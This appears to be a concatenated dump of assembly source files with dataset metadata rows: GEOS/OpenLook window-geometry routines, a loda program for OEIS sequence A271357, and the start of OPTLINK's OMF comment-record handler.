ax - MSG_OL_GET_CHILDS_TREE_POS
cx:dx - handle of child
bp - offset to generic or visual part
RETURN: carry set if this is a non-menu window
cx - FALSE if child is not the first child
DESTROYED: bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
This assumes child used VisCallParent to get here, so we
can assume that the object passed is in fact a child of
this object.
This is all kind of hacked. This problem is that composites
need to find out if they're the immediate children of a
window, and if they are, if they're the first or last item in
the window. The problem is that we have objects that are
only in the visual linkage, so we can't use the generic; we
have the text object calling this when being vis built that
can't use the visual; and we have objects that are the last
children in the visual tree, but don't really show up there,
meaning some object before them is actually at the bottom,
in which case we check generic linkage. So we have:
Parent linkage First child Last child
Ctrls Visual Visual Generic
Text Generic Generic Generic
Pretty bad, eh?
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 10/23/89 Initial version
------------------------------------------------------------------------------@
OLWinGetChildsTreePos method dynamic OLWinClass,
MSG_OL_GET_CHILDS_TREE_POS
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jnz GCTP_exit ;skip if menu or submenu (cy=0)
mov di, ds:[si] ;point to instance
add di, ds:[di][bp] ;add offset
cmp bp, Gen_offset ;see if doing generic
jne GCTP_visual ;no, branch
add di, GI_comp ;else get offset to comp part
jmp short GCTP_checkFirst
GCTP_visual:
add di, VCI_comp ;get offset to comp part
GCTP_checkFirst:
cmp cx, ds:[di].CP_firstChild.handle
mov cx, FALSE ;assume not first child
jne GCTP_returnCarrySet ;not first, exit
cmp dx, ds:[di].CP_firstChild.chunk
jne GCTP_returnCarrySet ;chunk doesn't match, exit
dec cx ;else set cx true
GCTP_returnCarrySet:
stc ;return parent is non-menu win
GCTP_exit:
ret
OLWinGetChildsTreePos endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinCalcMinWidth
DESCRIPTION: Calculate the minimum size for an OpenLook window.
PASS: *ds:si = instance data for object
RETURN: cx = min width
DESTROYED: ?
PSEUDO CODE/STRATEGY:
Sum up sizes of header bar gadgets, slop from 1-pixel overlap
of gadgets will allow for a small sliver of title bar to show
through, allowing the user to grab and move the window. How
convenient!
REVISION HISTORY:
Name Date Description
---- ---- -----------
? 1/90 initial version
------------------------------------------------------------------------------@
if _CUA_STYLE ;START of MOTIF specific code -------------------------
OpenWinCalcMinWidth proc near
class OLWinClass
uses ax, dx, di, bp
.enter
NOT_MO< clr cx ;objects touch edges in CUA >
MO< mov cx, CUAS_WIN_LINE_BORDER_SIZE*2 ;start with thin line borders>
ISU< mov cx, CUAS_WIN_LINE_BORDER_SIZE*2 ;start with thin line borders>
ISU< add cx, 4 ;it seems we have extra border>
mov di, ds:[si] ;point to specific instance
add di, ds:[di].Vis_offset
;If RESIZABLE add in width of two resize borders
if _MOTIF
call OpenWinHasResizeBorder
jnc notResizable ;can't have resize bars, branch
else
test ds:[di].OLWI_attrs, mask OWA_RESIZABLE
jz notResizable ;skip if not resizable...
endif
push ds
mov ax, segment idata ;get segment of core blk
mov ds, ax
mov ax, ds:[resizeBarWidth]
sal ax, 1 ; calc resize border width * 2
add cx, ax
pop ds
notResizable:
if BUBBLE_DIALOGS
; Add in extra left margin that comes with bubble popups, if any.
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz doneWithBubbleMargin
push bx
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarFindData
mov ax, ds:[bx] ; ax = left margin
pop bx
jnc doneWithBubbleMargin
add cx, ax ; add left margin
doneWithBubbleMargin:
endif ;BUBBLE_DIALOGS
;If has a system menu, add in room for three icons
test ds:[di].OLWI_attrs, mask OWA_HAS_SYS_MENU
jz noSysMenu
if _ISUI
call CheckSysMenuButton
jnc afterSysMenuButton
endif
; add cx, CUAS_WIN_ICON_WIDTH ;add room for System Icon
;deal with sys menu button with kdb accelerator shown
mov_tr ax, cx
call OpenWinGetSysMenuButtonWidth ;cx = width of sys menu button
ISU < add cx, 6 ;match other adjustments >
add ax, cx
mov_tr cx, ax
afterSysMenuButton::
test ds:[di].OLWI_attrs, mask OWA_CLOSABLE
jz 9$
add cx, CUAS_WIN_ICON_WIDTH ;add room for Close button
9$:
test ds:[di].OLWI_attrs, mask OWA_MAXIMIZABLE
jz 10$
add cx, CUAS_WIN_ICON_WIDTH ;add room for Maximize button
10$:
test ds:[di].OLWI_attrs, mask OWA_MINIMIZABLE
jz noSysMenu
add cx, CUAS_WIN_ICON_WIDTH ;add room for Minimize button
noSysMenu:
;
; add in sizes of left and right title bar groups
; cx = min width so far
;
mov_tr ax, cx ;ax = width so far
mov bp, offset OLWI_titleBarLeftGroup
call OpenWinGetTitleBarGroupSize ;cx = width or 0, dx = height
;(destroys di)
add ax, cx
mov bp, offset OLWI_titleBarRightGroup
call OpenWinGetTitleBarGroupSize ;cx = width or 0, dx = height
;(destroys di)
add ax, cx
mov_tr cx, ax ;cx = total min width
.leave
ret
OpenWinCalcMinWidth endp
endif ;END of MOTIF specific code -----------------------------------
COMMENT @----------------------------------------------------------------------
METHOD: OLWinResetToInitialSize --
MSG_VIS_RESET_TO_INITIAL_SIZE for OLWinClass
DESCRIPTION: Resets a window to its initial size. For most windows,
we'll zap the size back to RS_CHOOSE_OWN_SIZE so the window
will choose a completely new size again, unless its maximized,
in which case we'll leave the window size alone.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_VIS_RESET_TO_INITIAL_SIZE
dl - VisUpdateMode
RETURN: nothing
ax, cx, dx, bp - destroyed
ALLOWED TO DESTROY:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 2/18/92 Initial Version
------------------------------------------------------------------------------@
OLWinResetToInitialSize method dynamic OLWinClass,
MSG_VIS_RESET_TO_INITIAL_SIZE
;
; Hopefully, this will allow max'ed windows that are too large to
; shrink.
;
ORNF ds:[di].OLWI_winPosSizeState, mask WPSS_POSITION_INVALID \
or mask WPSS_SIZE_INVALID
test ds:[di].OLWI_attrs, mask OWA_MAXIMIZABLE
jz nukeSize
test ds:[di].OLWI_specState, mask OLWSS_MAXIMIZED
jnz finishSize
nukeSize:
push dx
mov cx, mask RSA_CHOOSE_OWN_SIZE
mov dx, cx
call VisSetSize
pop dx
finishSize:
push ax, dx
call UpdateWinPosSize ;update window position and size if
pop ax, dx ;have enough info. If not, then wait
;until OpenWinOpenWin to do this.
;(VisSetSize call will set window
;invalid)
mov di, offset OLWinClass
GOTO ObjCallSuperNoLock
OLWinResetToInitialSize endm
COMMENT @----------------------------------------------------------------------
METHOD: OLWinRecalcDisplaySize --
MSG_OL_WIN_RECALC_DISPLAY_SIZE for OLWinClass
DESCRIPTION: Returns size of window, after making sure geometry's up-to-date.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_OL_WIN_RECALC_DISPLAY_SIZE
RETURN: carry - set (size returned)
cx, dx - size to use
- or -
carry - clear (no size returned)
ax, bp - destroyed
ALLOWED TO DESTROY:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 6/15/92 Initial Version
------------------------------------------------------------------------------@
OLWinRecalcDisplaySize method dynamic OLWinClass,
MSG_OL_WIN_RECALC_DISPLAY_SIZE
;
; If we are not maximizable, then don't return a size, as our
; size does not change. This will prevent the DisplayGroup from
; shrinking to fit our size. If this code backfires, one could
; add this logic to a method for OLDisplayWinClass.
;
test ds:[di].OLWI_attrs, mask OWA_MAXIMIZABLE
jz done ; carry is clear, which is
; exactly what we want
test ds:[di].VI_attrs, mask VA_VISIBLE
pushf
;
; Ensure the thing is spec built, so we can run the geometry
; manager over it.
;
push cx, dx
mov cl, mask SA_ATTACHED
clr ch
mov dl, VUM_MANUAL
mov ax, MSG_SPEC_SET_ATTRS
call ObjCallInstanceNoLock ; Hopefully get the thing built
mov dl, VUM_DELAYED_VIA_UI_QUEUE ;try to make it not flash
mov cl, mask VOF_GEOMETRY_INVALID ; -cbh 11/17/92
call VisMarkInvalid
pop cx, dx
call VisSetSize ;set as size to start with
;
; Run the geometry over it, and get the resulting size. (Have the
; VOF_UPDATING flag set so any resulting image invalidations are
; saved in a region, rather than immediate VisInvalRects. -cbh 3/ 7/93)
;
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_optFlags, mask VOF_UPDATING
pushf
or ds:[di].VI_optFlags, mask VOF_UPDATING
mov ax, MSG_VIS_UPDATE_GEOMETRY
call ObjCallInstanceNoLock
call VisGetSize ;get size in cx, dx
mov di, ds:[si]
add di, ds:[di].Vis_offset
;
; We want to clear the VOF_UPDATING flag if it wasn't set coming in.
; -cbh 3/ 7/93
;
popf
jnz 10$
and ds:[di].VI_optFlags, not mask VOF_UPDATING
10$:
;
; Clear this flag -- we don't want to be visible if we weren't coming
; in.
;
popf
jnz done ;was already VA_VISIBLE, done
and ds:[di].VI_attrs, not mask VA_VISIBLE
done:
stc
exit:
ret
OLWinRecalcDisplaySize endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLWinUpdatePositionForTaskBar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update window position to account for taskbar position change
CALLED BY: MSG_OL_WIN_UPDATE_POSITION_FOR_TASK_BAR
PASS: *ds:si = OLWinClass object
es = segment of OLWinClass
ax = message #
cx = TRUE if only minimized windows are to be updated
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
joon 7/8/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if TOOL_AREA_IS_TASK_BAR
OLWinUpdatePositionForTaskBar method dynamic OLWinClass,
MSG_OL_WIN_UPDATE_POSITION_FOR_TASK_BAR
jcxz doUpdate
; check if window is minimized
test ds:[di].OLWI_specState, mask OLWSS_MINIMIZED
jz done ; skip if not minimized
doUpdate:
push ds
segmov ds, dgroup
tst ds:[taskBarAutoHide]
pop ds
mov dx, 1 ; assume auto-hide is on (dx = 1)
jnz gotSize
call OLWinGetToolAreaSize
gotSize:
push ds
segmov ds, dgroup, ax
tst ds:[taskBarPosition]
pop ds
jle update
neg dx
update:
mov di, ds:[si]
add di, ds:[di].Vis_offset
add ds:[di].VI_bounds.R_top, dx
add ds:[di].VI_bounds.R_bottom, dx
mov cl, mask VOF_WINDOW_INVALID
mov dl, VUM_DELAYED_VIA_UI_QUEUE
call VisMarkInvalid
done:
ret
OLWinUpdatePositionForTaskBar endm
endif ; TOOL_AREA_IS_TASK_BAR
Geometry ends
Resident segment resource
COMMENT @----------------------------------------------------------------------
ROUTINE: OpenWinGetMonikerSize
SYNOPSIS: Gets moniker size for a window. If this is a GenPrimary,
returns the sum of the visMoniker and the longTermMoniker.
Ignores the long term moniker if we're in GCM mode.
CALLED BY: OpenWinGetMinSize
PASS: *ds:si -- object handle
bp - GState to use
RETURN: cx -- width of the moniker
dx -- bigger height of the monikers
bp -- same
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Could/should be in a movable module, with CallMod to reach it.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/27/90 Initial version
------------------------------------------------------------------------------@
OpenWinGetMonikerSize proc far uses bx, di, bp, ax
class OLWinClass
.enter
mov di, ds:[si] ;ptr to instance data
add di, ds:[di].Gen_offset ;ds:di = GenInstance
mov di, ds:[di].GI_visMoniker ;fetch moniker
segmov es, ds ;es:di = moniker
call SpecGetMonikerSize ;get size of moniker in cx, dx
;
; If not a base window, we're done.
;
mov di, ds:[si] ;point to instance
add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance
CUAS < cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW >
OLS < cmp ds:[di].OLWI_type, OLWT_BASE_WINDOW >
jne exit ;not a primary, we're done
;
; No long term moniker, we're done.
;
mov di, ds:[si] ;ptr to instance data
add di, ds:[di].Gen_offset ;ds:di = GenInstance
.warn -private
mov di, ds:[di].GPI_longTermMoniker ;fetch long term moniker
.warn @private
tst di ;is there one?
jz exit ;no, we're done
;
; check if we are on a tiny width screen
;
push cx, dx
call OpenGetScreenDimensions ; cx, dx = dimensions
cmp cx, TINY_SCREEN_WIDTH_THRESHOLD
pop cx, dx
ja normalDraw ; not tiny screen, do normal
; stuff
;
; on horizontally tiny screens, we just draw long term moniker, if any
; so let's do the same here for the width
; *es:di = long term moniker
; bp = gstate
;
call SpecGetMonikerSize ;cx = width, dx = height
jmp exit
normalDraw:
;
; Add in space for the " - "
;
push dx ;save height
xchg di, bp ;di holds gstate, bp holds mkr
call GetDividerStrLen ;returns length of " - " in dx
add cx, dx ;add the total to visMkr size
push cx ;save width that comes back
xchg di, bp ;es:di holds mkr, bp <- gstate
call SpecGetMonikerSize ;get its size in cx
mov bx, dx ;keep height in bx
pop dx ;restore GenMoniker width
add cx, dx ;add into long term moniker size
pop dx ;restore GenMoniker height
cmp dx, bx ;see if this height is bigger
ja exit ;no, branch
mov dx, bx ;else use that height instead
exit:
.leave
ret
OpenWinGetMonikerSize endp
COMMENT @----------------------------------------------------------------------
ROUTINE: GetDividerStrLen
SYNOPSIS: Gets the length of the divider before the long term moniker.
CALLED BY: OpenWinGetMonikerSize, OpenWinDrawMoniker
PASS: di -- gstate
RETURN: dx -- length
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/27/90 Initial version
------------------------------------------------------------------------------@
GetDividerStrLen proc far uses ds, si, cx
.enter
segmov ds, cs, si
mov si, offset resLongTermStr ;ds:si points to string
clr cx ;all chars
call GrTextWidth ;return width
.leave
ret
GetDividerStrLen endp
SBCS <resLongTermStr db " - ",0 >
DBCS <resLongTermStr wchar " - ",0 >
COMMENT @----------------------------------------------------------------------
ROUTINE: MoveWindowToKeepOnscreen
SYNOPSIS: Moves window bounds to try to keep it onscreen.
CALLED BY: OpenWinRefitToParent
PASS: *ds:si -- window
ax, bp -- parent width and height, respectively
bx -- flag to indicate new geometry needs doing
(zero if not, non-zero if so)
RETURN: bx updated
ds:di -- pointer to VisInstance
DESTROYED: cx, dx
PSEUDO CODE/STRATEGY:
get current window origin in cx, dx
if right > parentWidth, cx = cx - (right - parentWidth)
if bottom > parentBottom, dx = dx - (bottom - parentBottom)
if cx negative, cx = 0
if dx negative, dx = 0
call VisSetPosition
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 6/24/91 Initial version
------------------------------------------------------------------------------@
MoveWindowToKeepOnscreen proc far uses ax, bp
.enter
EC < call ECCheckLMemObject >
mov di, ds:[si]
add di, ds:[di].Vis_offset
mov cx, ds:[di].VI_bounds.R_left
mov dx, ds:[di].VI_bounds.R_top
sub ax, ds:[di].VI_bounds.R_right ;see if past right edge
jae 10$ ;no, branch
add cx, ax ;else try to move window left
inc bx ;say an update necessary
10$: ;
sub bp, ds:[di].VI_bounds.R_bottom ;see if past bottom edge
jae 20$ ;no, branch
add dx, bp ;else try to move window up
inc bx ;say an update necessary
20$: ;
tst cx ;keep left edge positive
jns 30$
clr cx
29$::
inc bx ;say an update necessary
30$:
tst dx ;keep top edge positive
jns 40$
clr dx
39$:
inc bx ;say an update necessary
40$:
call VisSetPosition ;affect change in window origin
.leave
ret
MoveWindowToKeepOnscreen endp
COMMENT @----------------------------------------------------------------------
ROUTINE: OpenWinCheckIfSquished
SYNOPSIS: Checks to see if we're on a CGA only.
CALLED BY: utility
PASS: nothing
RETURN: carry set if CGA
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/16/93 Initial version
------------------------------------------------------------------------------@
OpenWinCheckIfSquished proc far uses ax, ds
.enter
mov ax, segment idata ;get segment of core blk
mov ds, ax
test ds:[moCS_flags], mask CSF_VERY_SQUISHED
jz exit ;no, exit with carry clear
stc
exit:
.leave
ret
OpenWinCheckIfSquished endp
COMMENT @----------------------------------------------------------------------
ROUTINE: OpenWinHasResizeBorder
SYNOPSIS: Returns whether this thing has a resize border or not.
CALLED BY: utility
PASS: *ds:si -- OLWinClass object
RETURN: carry set if has resize border
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/10/93 Initial version
------------------------------------------------------------------------------@
if _MOTIF
OpenWinHasResizeBorder proc far uses bx, di
.enter
call Res_DerefVisDI
test ds:[di].OLWI_specState, mask OLWSS_PINNED
jnz exit ;pinned, forget border (c=0)
; -cbh 2/17/93
mov bx, ds:[di].OLWI_attrs ;get attributes for window
call OpenCheckIfCGA ;CGA is based on resizable only
jc checkResizable
call OpenCheckIfNarrow ;so is tiny
jc checkResizable
test bx, mask OWA_TITLED
jz exit ;skip if not titled (c=0)
jmp short hasResizeBorder
checkResizable:
test bx, mask OWA_RESIZABLE
jz exit ;skip if not resizable (c=0)
hasResizeBorder:
stc
exit:
.leave
ret
OpenWinHasResizeBorder endp
endif
Resident ends
| 25.961704 | 80 | 0.647705 |
244c9aabd9f71dbe5231245fc16283746832c644 | 495 | asm | Assembly | programs/oeis/271/A271357.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/271/A271357.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/271/A271357.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A271357: a(n) = k*Fibonacci(2*n+1) + (k+1)*Fibonacci(2*n), where k=3.
; 3,10,27,71,186,487,1275,3338,8739,22879,59898,156815,410547,1074826,2813931,7366967,19286970,50493943,132194859,346090634,906077043,2372140495,6210344442,16258892831,42566334051,111440109322,291753993915,763821872423,1999711623354,5235312997639,13706227369563,35883369111050,93943879963587,245948270779711,643900932375546,1685754526346927,4413362646665235
mov $1,3
mov $2,4
lpb $0
sub $0,1
add $2,$1
add $1,$2
lpe
| 45 | 357 | 0.793939 |
e02f70a01d90e7126008a682989293679c53826f | 17,931 | asm | Assembly | common/coment.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | common/coment.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | common/coment.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE COMENT - Copyright (c) SLR Systems 1994
SUBTTL Contains Confidential and Proprietary material
INCLUDE MACROS
INCLUDE SYMBOLS
INCLUDE SEGMSYMS
INCLUDE EXES
INCLUDE MODULES
INCLUDE IO_STRUC
if fg_td
INCLUDE TDBG
INCLUDE TDTYPES
endif
PUBLIC COMENT
.DATA
EXTERNDEF INBUF:BYTE,MODULE_NAME:BYTE,EXP_PWORDS:BYTE,EXP_FLAGS:BYTE,LNKDIR_FLAGS:BYTE,EXETYPE_FLAG:BYTE
EXTERNDEF TD_MAJOR:BYTE,TD_MINOR:BYTE,SYMBOL_TEXT:BYTE,DEBUG_TYPES_SELECTED:BYTE,TD_INFO_TYPE:BYTE
EXTERNDEF MEMORY_MODEL:BYTE
EXTERNDEF END_OF_RECORD:DWORD,IMPEXP_MOD:DWORD,IMPEXP_NAM:DWORD,IMP_ORDNUM:DWORD,IMPEXP_INTNAM:DWORD
EXTERNDEF EXP_ORDNUM:DWORD,SYMBOL_LENGTH:DWORD,TYPDEF_ANDER:DWORD,EXTDEF_DELTA:DWORD,LINNUM_DELTA:DWORD
EXTERNDEF DEFAULT_SIZE:DWORD,LNKDIR_PCODE_CV:DWORD,LAST_EXTDEF_GINDEX:DWORD,LAST_PUBDEF_GINDEX:DWORD
EXTERNDEF LIN_SRC_GINDEX:DWORD,TD_N_LSCOPES:DWORD,TD_CURRENT_SCOPE:DWORD,TD_CURN_FILE_LINDEX:DWORD
EXTERNDEF MOD_TD_COMP_PARAMS:DWORD,WINMAIN_GINDEX:DWORD,CURNMOD_GINDEX:DWORD,TD_OUTER_SCOPE:DWORD
EXTERNDEF TD_SMEM_STARTING_INDEX:DWORD,SYMBOL_HASH:DWORD,TD_SMEM_RUNNING_HASH:DWORD,MATCHED_COUNT:DWORD
EXTERNDEF TD_SMEM_RUNNING_COUNT:DWORD,MATCHED_BUFFER:DWORD,MOD_TD_OPTFLAGS:DWORD,MOD_TD_FIRST_LOCAL:DWORD
EXTERNDEF TD_LAST_COVERAGE:DWORD,MATCHED_PTR:DWORD,LAST_TD_MATCHED:DWORD
EXTERNDEF SYMBOL_LARRAY:LARRAY_STRUCT,SYMBOL_GARRAY:STD_PTR_S,SYMBOL_TPTR:TPTR_STRUCT
EXTERNDEF TD_LTYPE_GARRAY:STD_PTR_S,TD_LCLASS_GARRAY:STD_PTR_S,TD_LSMEM_GARRAY:STD_PTR_S
EXTERNDEF EXESTR_STRUCTURE:SEQ_STRUCT
EXTERNDEF OPTI_MOVE:DWORD
.CODE PASS1_TEXT
EXTERNDEF ERR_RET:PROC,OBJ_PHASE:PROC,_err_abort:proc,SELECT_OUTPUT_SEGMENTED:PROC
EXTERNDEF DEFINE_EXPORT:PROC,STORE_EAXECX_EDX_SEQ:PROC,DEFINE_IMPORT:PROC,REMOVE_FROM_WEAK_LIST:PROC
EXTERNDEF REMOVE_FROM_WEAK_DEFINED_LIST:PROC,WARN_RET:PROC,FAR_INSTALL:PROC,ALLOC_LOCAL:PROC
EXTERNDEF DO_DEFINE_MODULE:PROC,SRCNAME_INSTALL:PROC,SELECT_OUTPUT_PE:PROC,_lib_routine_final_coment:proc
EXTERNDEF NO_IMPORTS_ERR:ABS,WEAK_DEF_ERR:ABS,INCERR_ERR:ABS,EXESTR_ERR:ABS,BAD_OMF_EXTENT_ERR:ABS
EXTERNDEF TD_E0_EXTDEF_ERR:ABS,TD_E1_PUBDEF_ERR:ABS,TD_SCOPE_NEST_ERR:ABS,TD_TID_ERR:ABS,TD_CLASS_ERR:ABS
EXTERNDEF CLASS_ZERO_ERR:ABS,MODEL_CONFLICT_ERR:ABS,TD_REF_ERR:ABS
COMENT PROC
;
;ESI IS RECORD
;
;SOME COMENT RECORDS HAVE SPECIAL MEANINGS...
;BUT I DON'T KNOW WHAT THEY ARE YET...
;
;129 LIBRARY SEARCH NAME
;157 MEMORY MODEL 9D
;158 DOSSEG 9E
;159 LIBRARY SEARCH NAME 9F
;160 OMF EXTENSION A0
;161 CODEVIEW INFORMATION A1
;162 NO MORE SEG, EXTS, PUBS, JUST DATA FOLLOWS A2
;163 MODULE_NAME A3
;164 EXESTR A4
;165 QC1 A5 ?
;166 INCERR A6
;167 NOPAD A7
;168 WKEXT A8
;169 LZEXT A9
;170 PHARLAP AA
;
;221 T&D STAMP (SLR)
;
XOR EBX,EBX
MOV BL,[ESI+1]
ADD ESI,2
TEST BL,BL
JNS COMENT_0_7F
CMP BL,0ACH ;IS IT A BORLAND DEBUG RECORD?
JAE L2$ ;YES, JUMP
JMP COMENT_TABLE[EBX*4-200H]
L2$:
if fg_td
BITT KEEPING_THIS_TDBG ;ARE WE KEEPING TURBO-DEBUG INFORMATION?
JZ 22$
CALL TDBG_TABLE[BX-(0E0H*2)]
CMP END_OF_RECORD,SI
JNZ 3$
RET
22$:
CMP CURNMOD_GINDEX,0 ;DID WE DEFINE MODULE YET?
JNZ COMENT_IGNORE ;YEP, WE ARE REALLY SKIPPING THESE RECORDS
CALL DO_DEFINE_MODULE ;NOPE, DEFINE MODULE, THEN CHECK AGAIN
JMP 2$
3$:
CALL OBJ_PHASE
endif
COMENT_0_7F:
JNZ COMENT_IGNORE
;
;COMENT 0
;
if fg_symc
;
;SEE IF THIS IS FROM SYMANTEC COMPILER
;
CMP WPTR [SI],'yS'
JNZ 4$
CMP WPTR 8[SI],'C '
JNZ 4$
SETT COMENT_FOUND
4$:
endif
CMP CURNMOD_GINDEX,0
JNZ COMENT_IGNORE
CALL DO_DEFINE_MODULE
COMENT_IGNORE::
RET
YES_DOSSEG::
SETT DOSSEG_FLAG
YES_QC1::
YES_NOPAD::
YES_PASS2::
RET
YES_CODEVIEW::
; SETT CVINFO_THIS_MODULE
NO_RET:
RET
YES_LIBNAM::
;
;COPY LIBRARY NAME, IF NOT ALREADY IN LIST...
;MOVE IT TO OUTBUF
;
MOV ECX,END_OF_RECORD
MOV EDI,OFF INBUF+4
SUB ECX,ESI
MOV EAX,EDI
MOV [EDI-4],ECX
REP MOVSB
MOV DPTR [EDI],1A0DH
push EAX
call _lib_routine_final_coment
add ESP,4
ret
;JMP LIB_ROUTINE_FINAL_COMENT
YES_MODNAME::
MOV EDI,OFF MODULE_NAME+4
GET_OMF_NAME_LENGTH ;HANDLE SYMANTEC KLUDGE
MOV ECX,EAX
MOV [EDI-4],EAX
REP MOVSB
RET
YES_MODEL::
MOV BL,1[ESI]
AND EBX,0DFH ;UPPER-CASE
SUB EBX,'A'
CMP EBX,'Z'-'A'
JA NO_MODEL
MOV AL,MODEL_TABLE[EBX]
MOV CL,MEMORY_MODEL
TEST AL,AL
JZ NO_MODEL
CMP CL,AL
JNZ YM_5
NO_MODEL:
RET
YM_5:
MOV MEMORY_MODEL,AL
OR CL,CL
JZ NO_MODEL
MOV AL,MODEL_CONFLICT_ERR
CALL WARN_RET
RET
COMENT ENDP
.CONST
MODEL_TABLE LABEL BYTE
DB 0,0,MODEL_COMPACT,0,0,MODEL_FLATOS2,0,MODEL_HUGE,0,0,0,MODEL_LARGE,MODEL_MEDIUM,MODEL_FLATNT
DB 0,0,0,0,MODEL_SMALL,0,0,0,0,MODEL_DOSX,0,0
ALIGN 4
COMENT_TABLE LABEL DWORD
DD COMENT_IGNORE,YES_LIBNAM,COMENT_IGNORE,COMENT_IGNORE ;80-83
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;84-87
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;88-8B
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;8C-8F
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;90-93
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;94-97
DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;98-9B
DD COMENT_IGNORE,YES_MODEL,YES_DOSSEG,YES_LIBNAM ;9C-9F
DD YES_OMF_EXTENT,YES_CODEVIEW,YES_PASS2,YES_MODNAME ;A0-A3
DD YES_EXESTR,YES_QC1,YES_INCERR,YES_NOPAD ;A4-A7
DD YES_WKEXT,YES_LZEXT,YES_PHARLAP,COMENT_IGNORE ;A8-AB
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;AC-AF
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;B0-B3
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;B4-B7
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;B8-BB
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;BC-BF
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;C0-C3
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;C4-C7
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;C8-CB
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;CC-CF
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;D0-D3
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;D4-D7
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;D8-DB
; DD COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE,COMENT_IGNORE ;DC-DF
ALIGN 4
OMF_EXTENT_TABLE LABEL DWORD
DD BAD_OMF_EXTENT ;00
DD YES_IMPORT ;01
DD YES_EXPORT ;02
DD YES_INCDEF ;03
DD YES_PMLIB ;04 ??
DD YES_LNKDIR ;05
DD YES_BIG_ENDIAN ;06
DD YES_PCH ;07
.CODE PASS1_TEXT
YES_OMF_EXTENT PROC
;
;
;
MOV BL,[ESI] ;GET TYPE BYTE
